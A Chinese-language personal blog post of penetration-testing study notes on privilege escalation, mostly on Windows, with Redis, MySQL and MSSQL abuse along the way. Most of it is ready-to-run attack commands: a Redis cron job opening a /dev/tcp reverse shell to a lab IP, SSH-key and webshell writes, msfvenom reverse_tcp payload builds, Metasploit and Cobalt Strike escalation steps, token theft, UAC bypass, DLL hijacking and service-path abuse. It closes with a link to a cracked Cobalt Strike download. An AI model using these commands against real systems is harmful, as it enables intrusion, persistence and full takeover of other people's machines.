权限提升

权限提升

写在最前

本文参考了小迪安全,Freebuf,先知社区以及众多个人博客,涉及了提权基础知识和Windows的常见提权方法,未涉及Linux以及域的知识。

在学习提权之前,我们有必要来了解一下常见的权限有哪些。

  • 后台权限 所谓的后台权限,就是通过弱口令SQL注入等手段进入网站的后台。在此权限下,能够执行后台的一些功能,比如发布文章,但是执行的功能也仅仅局限于后台。

  • 数据库权限 一般通过弱口令注入得到,在此权限下,可以对数据库文件进行修改。

  • 普通权限

    包括网站权限和普通的用户权限。

    网站权限就是我们通常获得的Shell,常常通过一些RCE或文件上传,文件包含,反序列化等手段直达Shell。在此权限下,我们可以更改网站的源代码配置文件,也能收集到操作系统的相关信息。

    用户权限要比网站权限更高一些。

  • System权限 要么通过高危的系统漏洞,要么通过网站权限等提权得到。在此权限下,就相当于操作自己的电脑。

​ 在Windows中,System权限是最高权限,相当于Linux里面的root。

一、数据库提权

1.1 Redis

1.1.1 写入SSH公钥

实战: 从数据库权限到Web权限 现在我们有某个Redis的访问权限,目标权限是Web权限。 Redis是一个基于键值对的NoSQL数据库, 比如set name "qy"就设立了一个键为name值为qy的数据,此时数据是保存在内存中的,并没有保存在硬盘内,可以调用save命令使数据持久化。 首先通过redis-cli -h 192.168.126.144连接Redis服务器 然后执行以下命令写入你的公钥

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set qy "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBe/UsMlJRIL+Z4w0DTr9nRmKu8Tt9cPoKj/t7fOHWItBPxMaVryrq732nIkZlCrtpJNkZJsfN9Fq2oGHyA/x3qrXBjhNiFUx2NTRHPlcfVMfTf+XB34oa4eAHOEWpkxCDZe+W0nV3va8sp7poSQqA+GD+YmidZ8dR57TQdfnTTFB9SIW7DZBATRseUzf/PtPRTVh7Jn/963M/JHVhV+OHXJ0BRCvu0YBg/oqxPkWJ41kZOZJP6KfDVICgoERgULRdnYWLNUUNlLOQ4LPDG3fhQHJgN2L9hqjf0bk5Zx5ZA9Uy093AAdkyElY2rkxeN9hwOZT/YFEbvUAT0v2kDtf1TM8lfuO3ibD2j9Pxetv/jUKNthliSmdeB/+tD6hkJ6/mdjvoIgqATY2YlEIM7YYTAZ4mVaqAbYKx3HHDRlj7Jd2wUEGuOFcuzvqIsIHTfSzcydvUBW04zLUKAl/Zacp0mi+wmbgyX3gZYO6nhFCjmQPaO2KyNLrArYepWifDnlk= d4wn@D4wn\n\n\n"
save

执行过程如下 写入后即可通过SSH获取Web权限

1.1.2 定时任务反弹Shell

crontab是Linux中执行周期任务的命令,如果我们将反弹Shell的脚本

1
2
3
4
config set dir /var/spool/cron
config set dbfilename root #必须是root
set qy "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/4444 0>&1\n\n"
save

1.1.3 写入Webshell

前提条件:

  1. 知道网站的目录
  2. 目录具有读写权限
1
2
3
4
5
config set dir /var/www/html
config set dbfilename 1.php
set qy "<?php phpinfo();?>"
save # 保存执行
注意:部分目录没有读写权限

1.2 MySQL

  • MySQL提权有两个前提条件
    • 有数据库最高权限用户的密码
    • secure-file-priv没有设置
  • 获取最高权限用户密码的途径?
    • 数据库配置文件(比如config.php)(演示-熊海CMS)
    • 高权限的SQL注入点
    • 数据库的存储文件或者备份文件(比如MYI文件)

1.2.1 UDF提权

前提条件:

  1. 知道root用户的密码
  2. secure-file-priv设置为空字符串

UDF(User Define Function),指的是用户在数据库中自定义函数,在自定义函数时可以调用我们的恶意程序,进而实现提权。UDF提权时我们的恶意程序一般是dll文件,我们在生成这个dll文件后需要将其上传到指定的目录才能让UDF识别。值得注意的是,MySQL<5.2时我们需要导出到c:/windows或者c:/system32;当MySQL≥5.2时,需要导出到安装目录下的/lib/plugin(若是phpstudy搭建的MySQL需要自己创建)。我们可以用select version()select @@basedir分别查看MySQL版本和安装目录。 接下来我们使用MSF进行UDF提权,但是,在开始之前,我们需要将MySQL开启外连,因为默认情况下,我们MySQL的root用户是不允许外部IP登录的,开启外连需要以下命令。

1
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

在开启外连后,我们用MSF就可以远程连接,向相关目录里注入dll文件,命令如下:

1
2
3
4
use exploit/multi/mysql/mysql_udf_payload
set password root
set rhosts 192.168.126.150(靶机IP)
run

在命令执行完毕后,MSF会为我们创建函数sys_exec,但是此函数是没有回显的,我们需要但是我们已经得到的dll文件,我们可以根据dll文件创建具有回显的函数sys_eval,我们可以通过select * from mysql.func;来查看当前有哪些函数。 创建sys_eval函数的命令如下:

1
create function sys_eval returns string soname "xxxxxx.dll"

接着,我们便可以利用sys_eval执行系统命令,相当于获得了一个User权限。

1.2.2 启动项提权

MSF:

1
2
3
4
5
use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
run
image-20230730165911859
image-20230730165821427

1.2.3 MOF提权

使用较少

1.2.4 反弹Shell提权

使用较少

1.3 MSSQL

1.3.1 xp_cmdshell提权

xp_cmdshell是一个存储过程(数据库课程会学到),负责调用系统命令。在较高版本的 SQLServer中默认关闭,我们可以通过如下命令进行打开。

1
2
3
4
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

打开后我们就可通过xp_cmdshell调用系统命令,此时的权限取决于SQLServer的运行权限。

1
EXEC master.dbo.xp_cmdshell '命令';

1.3.2 sp_oacreate提权

1.3.3 沙盒提权

二、后台提权

2.1 查询历史CMS漏洞/代码审计

  • 实战: 从后台权限提升到Web权限 假设我们通过弱口令已经获得了某个网站的后台权限,后台地址如下 http://192.168.126.144:8080/ofcms-admin/admin/index.html 我们的目标是将其提升为Web权限。注意,本文忽略了文件上传,文件包含等基础知识,在学习权限提升时,可以不用关注这些细枝末节。 要想根据后台权限获取Web权限,有两种思路。

    1. 若是CMS,寻找网络上CMS获Shell的相关漏洞。
    2. 若不是CMS或者CMS无相关资料,自己拿后台功能想办法。 这里我们选择第二种方法。 在后台的"模板设置"模块,我们可以看到,这是一个更新index.html的功能。那么我们能否利用此功能将后门写进xxx.jsp呢?要知道,只写进后门是不够的,还需要能够解析,也就是后缀绝不能是html。 我们发现"index.html"似乎不能更改,此时有两种思路绕过,一种是直接利用F12开发者模式修改标签对应的“value”属性,另一种是通过抓包修改,这里我们选择前者。 (注意: 这里的Shell代码是通过哥斯拉生成的,Shell路径也是通过白盒审计而来的,这两方面不在本文讨论范围内。我们只需对提权思路进行关注)

    则可得到你的Shell地址

    http://192.168.126.144:8080/ofcms-admin/static/aaa.jsp 提权成功

2.2 寻找特定功能

三、用户提权

3.1 用户-->数据库

  • 实战: 从Web权限到数据库权限 在前面,我们获得了OFCMS的Web权限,从Web权限到比较低层次的权限是相对而言容易跨越的。比如我们想获取数据库权限,只需在网站的源码中找到数据库的配置文件。

3.2 用户-->后台

假如我们通过其他方式直接获取到了Web权限,想得到后台权限,又该怎么操作呢? 大致思路分为两种,一种是直接修改源码中的认证流程,另一种是获取数据库权限后添加对应的管理员账户或者解密密码。

3.3 用户-->System

3.3.1 溢出漏洞

  • 筛选漏洞项目推荐
    • https://github.com/vulmon/Vulmap
    • https://github.com/bitsadmin/wesng
    • https://github.com/chroblert/WindowsVulnScan
    • https://github.com/nomi-sec/PoC-in-GitHub
  • EXP下载网站推荐
    • https://github.com/k8gege/Ladon
    • https://github.com/Ascotbe/KernelHub
    • https://github.com/nomi-sec/PoC-in-GitHub 注意,在一些项目中,有已经编译好的CVE,但是并不推荐使用,因为不同版本的Windows或者相同版本的Windows即使有一些微小的差异,也会造成提权失败。更加推荐一些安全团队编写的框架,因为其EXP通用性和健壮性更强。
(1) 手动
  • 步骤

    • 收集信息(系统版本,最常见的是2008/2012/2016/2019 补丁 杀软信息 位数 网络 当前权限)
    • 基于信息筛选可利用漏洞
    • 上传EXP进行调用
  • 收集信息阶段常用到的命令

    1
    2
    3
    4
    ver
    systeminfo
    netstat -ano
    tasklist /svc
(2) 半自动
  • 除了手动进行提权,我们还可以利用MSF进行半自动提权。
  • 生成EXP, 上传到靶机
1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.144 LPORT=8888 -f exe -o msf.exe
  • 进入MSF,配置监听对话

    1
    2
    3
    4
    5
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 0.0.0.0
    set lport 8888
    run

    然后调用靶机上的反弹程序,成功连接,通过命令getuid我们可以看到此时的权限是Administrator,我们的目标是获取System权限。

  • 输入background保存当前会话(记住这个会话号,后面会用到),接下来我们去提权。输入如下命令让MSF自动筛选相关漏洞

    1
    use post/multi/recon/local_exploit_suggester

    根据上图,我们可以看到MSF为我们筛选出了部分可用漏洞,我们以exploit/windows/local/cve_2021_40449为例进行演示。

  • 提权 我们首先使用exploit/windows/local/cve_2021_40449这个模块(演示使用exploit/windows/local/cve_2022_21882_win32k),然后设置session,session就是之前我们最开始建立的哪个webshell会话

    1
    2
    use exploit/windows/local/cve_2021_40449
    set session 4

    观察上面这个EXP的选项,我们可以看到Payload options下面的配置就是我们的System权限的Shell应该反弹到哪里,原先的Shell只是一个工具,他帮助我们执行漏洞利用程序,仅此而已。我们新开一个窗口,重新监听,方法和前面一样,如下图所示。

    接着,我们在原先的EXP程序中执行run,我们就可以获取System权限的Shell。此时我们已经拥有最高权限,如下图所示。

(3) 全自动
  • 这里我们运用到了Cobalt Strike(简称CS),CS是一款基于Java的渗透测试工具,主要用于团队作战。要想使用CS,需要有一台服务器(S),假设靶机为服务器T,我们自己团队的成员比如成员A,成员B,成员C就可以都利用CS登录服务器S进行团队渗透。

  • 首先我们在服务器S上运行服务端:

    1
    ./teamserver <yourServerIP> <TeamPassword>

  • 然后我们运行CS登录服务器

  • 其中别名和用户随意。主机是服务器S的IP,端口默认即可,密码是在服务器S端运行服务端时设置的。
  • 配置监听器(也就是你的反弹Shell弹到哪里) 依次点击Cobalt Strike->监听器,然后点击添加
  • 配置监听器,其中名字任意,两个HTTP地址都填写你的服务器S地址

  • 生成反弹Shell程序 依次点击攻击->生成后门->Windows可执行程序

其中的监听器就是上一步中添加的监听器,根据靶机情况选择是否勾选x64选项

  • 将上一步中生成的后门程序上传到靶机,然后调用。 可以发现靶机上线,并且权限为Administrator。

  • 提升至System权限。

    • 使用CS自带功能进行提权

    • 这里我们的监听器还是选择之前建立的监听器

    注意,CS为了隐蔽性,默认60秒才会执行命令,可以根据如下图的操作进行取消。

将其设置为0

提权成功 提权后的网络拓扑图如下

  • 使用第三方插件进行提权 很多时候,CS自带的提权功能并不能帮助我们提升至System权限,需要用到第三方插件实现,这里,我们选择"Ladon9.0_巨龙拉冬插件"为例

    这里我们以坏土豆为例进行演示,可以观察到成功提取到System权限

3.3.2 服务命令

(1) AT

适用版本:win2003/winxp及以前

原理:at命令为一个计划命令, 在指定时间执行相关操作,由于at命令为System权限,其操作本质是创建一个子进程,会继承System权限,进而达到提权的目的。

1
at 02:27 /interactive cmd

执行上面的命令后,会在凌晨02:27创建一个System权限的cmd

image-20230730022752378
(2) SC

适用版本:win2003/winxp及以前

原理:sc命令负责管理计算机的服务,可以通过其创建一个具有System权限的cmd服务。

1
sc Create syscmd binPath= "cmd /K start" type= own type= interact

运行服务

1
sc start syscmd
image-20230730022936597
(3) PS

适用版本: 几乎所有的Server版系统

PsTools是微软开发的一款工具,用于在远程服务器上执行命令,一般应用于服务器环境

1
psexec.exe -accepteula -s -i -d cmd

-accepteula:这个参数用于自动接受工具的最终用户许可协议(EULA)。

-s:以系统权限运行远程命令。这样可以在目标计算机上使用System账户执行命令,即拥有最高权限。

-i:这个参数允许在交互式会话中运行命令。通常,此参数与 -d 参数一起使用。

-d:这个参数指示PsExec在远程计算机上运行命令时不要等待命令完成。如果不使用 -d 参数,PsExec 将等待远程命令执行完成后才返回。

cmd:这是要在远程计算机上运行的命令。在这个例子中,它是一个简单的 cmd 命令提示符。

image-20230730023230106

3.3.3 进程注入

(1) pinjector
1
2
3
pinjector -l # 查看所有具有System权限的进程
pinjector -p <要注入进程的pid> cmd <反弹到哪个端口>
nc 192.168.1.1 8888
(2) MSF

获取session后执行

1
2
ps # 查看进程
migrate PID # 迁移对应PID
image-20230730041107257

3.3.4 令牌窃取

(1) 情景一

若此时我们的权限较高,比如是Administrator,就可以直接窃取令牌

1
2
3
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
image-20230730041503789
(2) 情景二

若此时我们只是普通的Webshell权限,是没办法直接窃取令牌的,需要配合烂土豆窃取令牌

1
2
3
4
execute -cH -f ./potato.exe # 烂土豆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3.3.5 UAC绕过

(1) 使用MSF内置模块

-Test in Win7

use exploit/windows/local/bypassua

-Test in Win10

use exploit/windows/local/ask

use exploit/windows/local/bypassuac_sluihijack

use exploit/windows/local/bypassuac_silentcleanup

(2) 使用UACMe项目

https://github.com/hfiref0x/UACME

Akagi64.exe 41 msf1.exe

Akagi64.exe 编号 调用执行

3.3.6 DLL劫持

DLL查找顺序

  1. 应用程序加载的目录

  2. C:\Windows\System32

  3. C:\Windows\System

  4. C:\Windows

  5. 当前工作目录Current Working Directory,CWD

  6. 在PATH环境变量的目录(先系统后用户)

利用火绒剑去分析程序调用了哪些DLL,然后尽量选择在应用程序加载的目录中的DLL,用ChkDllHijack工具判断是否能进行劫持,若能就用MSF生成对应的恶意DLL,进而getsystem

生成木马

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.144 LPORT=8888 -f dll -o msf.dll

将生成的dll进行替换,当受害者点击某软件时,我们就进行了提权

image-20230730054535560
image-20230730060221223

3.3.7 服务相关

(1) 服务路径引号问题

过程:检测有路径问题的服务-->上传恶意程序-->监听-->重启服务

检测项目:JAWS

https://github.com/PowerShellMafia/PowerSploit

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

检测命令:

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

上传我们的恶意程序,然后执行如下命令重启服务

1
sc start "xxx"
image-20230730060952984
(2) 服务权限问题

原理:若服务的路径正确,但是权限配置不当,导致我们可以更改服务指向的地址,也会出现安全问题

过程:检测服务权限-->将服务路径指向恶意程序地址——>调用

相关脚本:

https://github.com/411Hall/JAWS

https://github.com/PowerShellMafia/PowerSploit

sc config "test" binpath="C:.exe"

sc start test

3.3.8 其他

使用MSF时,可以使用如下的命令自动化提权

1
getsystem

四、第三方软件

4.1 向日葵

4.2 Teamviewer

有一定的条件,运行反弹shell的必须至少比IIS权限大 ## 附: 环境部署/工具

OFCMS

docker-compoes.yml文件

1
2
3
4
5
6
version: '3'
services:
web_server:
image: zhhhy/ofcms
ports:
- "8080:8080"
启动环境: docker-compose up -d 后台地址: http://192.168.126.144:8080/ofcms-admin/admin/index.html 默认账号与密码: admin:123456 ### SQLServer https://www.bilibili.com/video/BV1XT4y1C7Gc?t=5.1 完成上面链接中的步骤后,需要前往Sql Server Configuration Manager,找到SQL Server 网络配置选项,然后将MSSQLSERVER中的TCP/IP协议启用,如下图所示:

CS破解

https://www.ddosi.org/cobaltstrike-4-5-cracked/


权限提升
https://d4wnnn.github.io/2023/07/23/Security/权限提升/
作者
D4wn
发布于
2023年7月23日
许可协议